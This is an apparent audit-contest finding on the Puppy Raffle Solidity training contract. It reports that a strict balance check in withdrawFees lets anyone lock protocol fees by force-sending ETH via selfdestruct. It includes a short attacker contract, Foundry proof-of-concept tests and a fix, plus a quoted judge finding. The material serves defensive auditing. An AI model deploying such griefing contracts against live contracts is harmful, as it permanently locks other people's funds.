Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: medium
Valid

Strict `balance == totalFees` check in `withdrawFees` permanently locks protocol fees

chapma26

Description

  • withdrawFees should transfer the accrued protocol fees (totalFees) to feeAddress.

  • It first requires address(this).balance == totalFees. ETH can be force-sent to any contract via selfdestruct, bypassing receive/fallback; a single forced wei makes the balance permanently exceed totalFees, so the equality never holds again and fees can never be withdrawn.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood:

  • When anyone deploys a selfdestruct contract that force-sends wei to the raffle (costs a few wei, no permissions).

  • When a raffle is active and players' entrance fees sit in the contract balance alongside the fees.

Impact:

  • All accrued protocol fees become permanently locked and unwithdrawable.

  • withdrawFees is bricked forever with no alternative withdrawal path.

Proof of Concept

contract SelfDestructAttacker {
constructor(address target) payable {
selfdestruct(payable(target));
}
}
​
function testWithdrawFeesWorksDespiteForcedEth() public {
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
​
uint64 _totalFees = puppyRaffle.totalFees();
uint256 feeAddressBalance = address(feeAddress).balance;
​
// force 1 wei in — with the strict-equality check this reverts every withdrawFees call
new SelfDestructAttacker{value: 1}(address(puppyRaffle));
​
puppyRaffle.withdrawFees();
​
assertEq(uint256(puppyRaffle.totalFees()), 0);
assertEq(feeAddressBalance + _totalFees, address(feeAddress).balance);
}

Against the strict-equality version, withdrawFees reverts; after dropping the equality it passes and fees are paid out.

Recommended Mitigation

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

totalFees already tracks exactly what is owed, so withdraw it directly rather than gating on the raw balance.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

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